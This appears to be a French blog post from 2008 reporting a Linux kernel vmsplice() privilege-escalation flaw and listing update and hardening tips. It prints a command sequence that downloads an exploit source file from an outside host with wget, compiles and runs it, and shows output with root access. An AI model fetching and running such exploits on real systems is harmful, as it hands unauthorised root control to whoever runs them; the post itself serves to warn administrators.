Une faille qualifiée de "hautement critique" a été découverte pour le noyau du système d'exploitation libre.

Une vulnérabilité concernant les versions 2.6.17 à 2.6.24.1 des noyaux de Linux vient d'être découverte. Elle permet via l'exploitation d'un bug dans l'appel système vmsplice() à un utilisateur ayant un simple compte utilisateur de passer en administrateur (root).

L'exploit critique pourrait être appelé utilisé avec par exemple le code suivant :

cd /tmp
wget http://public.tux-planet.fr/c/vmsplice-local-root-exploit.c
gcc -o vmsplice-local-root-exploit vmsplice-local-root-exploit.c
./vmsplice-local-root-exploit
...
[root@localhost tmp]# id
uid=0(root) gid=0(root) groups=505(sbilbeau)

Pour vous prémunir de ce genre de problème :

1. N'installez jamais de compilateurs (gcc, g++, javac, ...)
2. Mettez fréquement votre système à jour
3. Quand une mise à jour du noyau est faite, redémarrez systèmatiquement votre système afin que le patch soit pris en compte.

Posté le 19 Février 2008 à 11h32 par Matt 261.